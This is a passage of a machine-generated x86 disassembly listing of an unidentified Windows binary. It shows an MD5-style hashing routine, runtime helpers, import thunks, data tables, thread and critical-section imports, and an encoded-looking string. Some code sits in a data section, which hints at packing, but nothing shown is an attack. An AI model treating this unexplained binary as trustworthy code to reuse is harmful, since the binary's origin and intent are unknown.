		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425443
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425443
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425443
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425443
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425443
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425443
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425443
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425443
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425443
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425443
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425443
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425443
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425443
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425443
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425443
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425443
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_42544A
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_42544A
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_42544A
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_42544A
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_42544A
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_42544A
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_42544A
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_42544A
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_42544A
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_42544A
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_42544A
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_42544A
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_42544A
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_42544A
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_42544A
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_42544A
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, ds:10015D64h
		add	[edi], eax
		mov	eax, ds:10015D68h
		add	[edi+4], eax
		mov	eax, ds:10015D6Ch
		add	[edi+8], eax
		mov	eax, ds:10015D70h
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_42547A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425CC5	proc near		; CODE XREF: sub_425CE2+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_425CC6:				; CODE XREF: sub_425CC5+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_425CC6
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_425CC5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425CE2	proc near		; CODE XREF: sub_41C00F+3Ap

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_425D12
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_425CC5
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_425D12:				; CODE XREF: sub_425CE2+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_425CE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		dd 40C03100h, 0CC2h, 3CD95000h,	24048B24h, 2434BA0Fh, 0C816608h
		db 24h,	0, 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D4C


loc_425D3B:				; CODE XREF: sub_425D4C+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx


loc_425D3F:				; CODE XREF: .data:00425D4Aj
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_425D4C
; ---------------------------------------------------------------------------
		push	eax
		fnstcw	word ptr [esp]
		pop	eax
		jmp	short loc_425D3F

; =============== S U B	R O U T	I N E =======================================



sub_425D4C	proc near		; CODE XREF: .data:loc_41A5B4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425D3B SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_425D3B
sub_425D4C	endp

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_425D5D	proc near		; CODE XREF: .data:0041AAE9p
					; sub_41BF88+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_425D5E:				; CODE XREF: sub_425D5D+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_425D5E
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_425D5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_425D7D	proc near		; CODE XREF: sub_41C22E+28Bp
					; sub_41C22E+890p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_425D7D	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0AC25FF00h, 90100160h, 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425DB5	proc near		; CODE XREF: sub_41A669+10p
		jmp	dword ptr ds:100160B0h
sub_425DB5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425DC1	proc near		; CODE XREF: sub_41A48D+13p
		jmp	dword ptr ds:100160B4h
sub_425DC1	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425DCD	proc near		; CODE XREF: sub_41A5D0+33p
					; sub_41A5D0+45p ...
		jmp	dword ptr ds:100160C0h
sub_425DCD	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425DD9	proc near		; CODE XREF: sub_41A5D0+Bp
					; sub_41A5D0+17p ...
		jmp	dword ptr ds:100160C4h
sub_425DD9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		dd 0C825FF00h, 90100160h, 90h, 0CC25FF00h, 90100160h, 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425DFD	proc near		; CODE XREF: sub_41A669+4Ep
					; sub_41A669+87p
		jmp	dword ptr ds:100160D0h
sub_425DFD	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425E09	proc near		; CODE XREF: .data:0041A593p
		jmp	dword ptr ds:100160D4h
sub_425E09	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425E15	proc near		; CODE XREF: sub_41A5D0+71p
					; sub_41A5D0+86p
		jmp	dword ptr ds:100160D8h
sub_425E15	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425E21	proc near		; CODE XREF: sub_41A669+9Ep
		jmp	dword ptr ds:100160DCh
sub_425E21	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		dd 78h dup(0)
		dd 0C91400h, 10h, 4 dup(0)
		dd 732500h, 72007700h, 1Ch dup(0)
		dd 500h, 200h, 500h, 2 dup(100h), 900h,	400h, 500h, 900h
		dd 400h, 900h, 200h, 400h, 900h, 200h, 600h, 100h, 0
		dd 500h, 0
		dd 2 dup(200h),	400h, 600h, 0
		dd 700h, 100h, 2 dup(700h), 400h, 900h,	2 dup(0)
		dd 900h, 600h, 400h, 900h, 200h, 500h, 800h, 200h, 400h
		dd 500h, 800h, 2 dup(900h), 0
		dd 800h, 200h, 300h, 800h, 0
		dd 600h, 400h, 900h, 200h, 500h, 200h, 500h, 900h, 500h
		dd 100h, 900h, 100h, 500h, 3 dup(900h),	0
		dd 100h, 800h, 500h, 700h, 400h, 500h, 300h, 900h, 100h
		dd 200h, 100h, 2 dup(500h), 300h, 900h,	2 dup(100h), 700h
		dd 600h, 200h, 300h, 600h, 400h, 3 dup(600h), 700h, 600h
		dd 100h, 900h, 600h, 700h, 500h, 2 dup(400h), 700h, 300h
		dd 900h, 500h, 0
		dd 900h, 0
		dd 900h, 0Bh dup(0)
		dd 15B9F00h, 10h, 2 dup(0)
		dd 0E86000h, 61000000h,	0E9h, 0
		dd 1100h, 0Fh dup(0)
		db    0
		db 0A5h, 0EEh, 0F7h
		db 0E1h	; á
		db 2Ch,	7Eh, 0FDh
		db 0BFh	; ¿
		db 7Fh,	0E8h, 9Ah
		dd 24408286h, 6ADDE2CCh
		db 0D7h	; ×
		db 2 dup(0E1h),	77h
		db  1Bh
		db 0B0h, 15h, 52h
		db  50h	; P
		db 56h,	64h, 4Bh
		db 0D2h	; Ò
		db 6Bh,	7Ch, 35h
		db  3Dh	; =
		db 0D5h, 85h, 0Eh
		db  28h	; (
		db 0F9h, 51h, 0B0h
		db  1Ah
		db 44h,	87h, 4Eh
		db  1Eh
		db 0DFh, 0CCh, 83h
		db 0E3h	; ã
		db 37h,	47h, 3Dh
		db  32h	; 2
		db 18h,	5, 0F8h
		db  14h
		db 0BFh, 37h, 6
		db  6Eh	; n
		align 4
		db    0
		db 0BDh, 25h, 0
		db  10h
		db 0ADh, 0B3h, 0
		db  10h
		db 1Eh,	23h, 0
		db  10h
		db 84h,	80h, 0
		db  10h
		db 0FAh, 2Bh, 0
		db  10h
		db 6, 0B5h, 0
		db  10h
		db 0B9h, 58h, 0
		db  10h
		align 4
		db    0
		db 24h,	13h, 0
		db  10h
		db 75h,	0A1h, 0
		db  10h
		db 0CDh, 91h, 0
		db  10h
		db 0FEh, 0B4h, 0
		db  10h
		db 0F6h, 0B4h, 0
		db  10h
		db 1Fh,	0BAh, 0
		db  10h
		db 0DFh, 26h, 0
		db  10h
		db 40h,	43h, 1
		db  10h
		align 10h
		db    0
		db 0Ch,	7Ch, 0
		db  10h
		db 0BAh, 0ACh, 0
		db  10h
		db 87h,	7Ch, 0
		db  10h
		db 51h,	1Fh, 0
		db  10h
		db 0C7h, 52h, 0
		db  10h
		db 5Ch,	17h, 0
		db  10h
		db 0Ah,	1Eh, 0
		db  10h
		db 64h,	43h, 1
		db  10h
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3Eh,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3Fh,	2 dup(0)
		db    0
		db 34h,	2 dup(0)
		db    0
		db 35h,	2 dup(0)
		db    0
		db 36h,	2 dup(0)
		db    0
		db 37h,	2 dup(0)
		db    0
		db 38h,	2 dup(0)
		db    0
		db 39h,	2 dup(0)
		db    0
		db 3Ah,	2 dup(0)
		db    0
		db 3Bh,	2 dup(0)
		db    0
		db 3Ch,	2 dup(0)
		db    0
		db 3Dh,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		align 4
		db    0
		db 1, 2	dup(0)
		db    0
		db 2, 2	dup(0)
		db    0
		db 3, 2	dup(0)
		db    0
		db 4, 2	dup(0)
		db    0
		db 5, 2	dup(0)
		db    0
		db 6, 2	dup(0)
		db    0
		db 7, 2	dup(0)
		db    0
		db 8, 2	dup(0)
		db    0
		db 9, 2	dup(0)
		db    0
		db 0Ah,	2 dup(0)
		db    0
		db 0Bh,	2 dup(0)
		db    0
		db 0Ch,	2 dup(0)
		db    0
		db 0Dh,	2 dup(0)
		db    0
		db 0Eh,	2 dup(0)
		db    0
		db 0Fh,	2 dup(0)
		db    0
		db 10h,	2 dup(0)
		db    0
		db 11h,	2 dup(0)
		db    0
		db 12h,	2 dup(0)
		db    0
		db 13h,	2 dup(0)
		db    0
		db 14h,	2 dup(0)
		db    0
		db 15h,	2 dup(0)
		db    0
		db 16h,	2 dup(0)
		db    0
		db 17h,	2 dup(0)
		db    0
		db 18h,	2 dup(0)
		db    0
		db 19h,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 1Ah,	2 dup(0)
		db    0
		db 1Bh,	2 dup(0)
		db    0
		db 1Ch,	2 dup(0)
		db    0
		db 1Dh,	2 dup(0)
		db    0
		db 1Eh,	2 dup(0)
		db    0
		db 1Fh,	2 dup(0)
		db    0
		db 20h,	2 dup(0)
		db    0
		db 21h,	2 dup(0)
		db    0
		db 22h,	2 dup(0)
		db    0
		db 23h,	2 dup(0)
		db    0
		db 24h,	2 dup(0)
		db    0
		db 25h,	2 dup(0)
		db    0
		db 26h,	2 dup(0)
		db    0
		db 27h,	2 dup(0)
		db    0
		db 28h,	2 dup(0)
		db    0
		db 29h,	2 dup(0)
		db    0
		db 2Ah,	2 dup(0)
		db    0
		db 2Bh,	2 dup(0)
		db    0
		db 2Ch,	2 dup(0)
		db    0
		db 2Dh,	2 dup(0)
		db    0
		db 2Eh,	2 dup(0)
		db    0
		db 2Fh,	2 dup(0)
		db    0
		db 30h,	2 dup(0)
		db    0
		db 31h,	2 dup(0)
		db    0
		db 32h,	2 dup(0)
		db    0
		db 33h,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------
		jmp	fword ptr [edi+27B41000h]
; ---------------------------------------------------------------------------
		align 4
		db  10h
		db 0F5h, 27h, 0
		db  10h
		db 30h,	28h, 0
		db  10h
aCreatethread_1	db 'CreateThread',0
aEntercritica_0	db 'EnterCriticalSection',0
aInitializecr_0	db 'InitializeCriticalSection',0
aLeavecritica_0	db 'LeaveCriticalSection',0
		align 4
		db    0
		db 0Bh,0
aSitdrfanjIe	db 'ᨒ¤”€¦´¨¥',0
		db  0Eh
		align 2
		dw 0D192h
		db 0FDh	; ý
		db 0C7h, 0FCh, 0FBh
		db 0FCh	; ü
		db 0FBh, 0E6h, 0FBh
		db 0F3h	; ó
		db 0FEh, 0FBh, 0E8h
		db 0F7h	; ÷
		align 2
		dw 0Ch
		db  37h	; 7
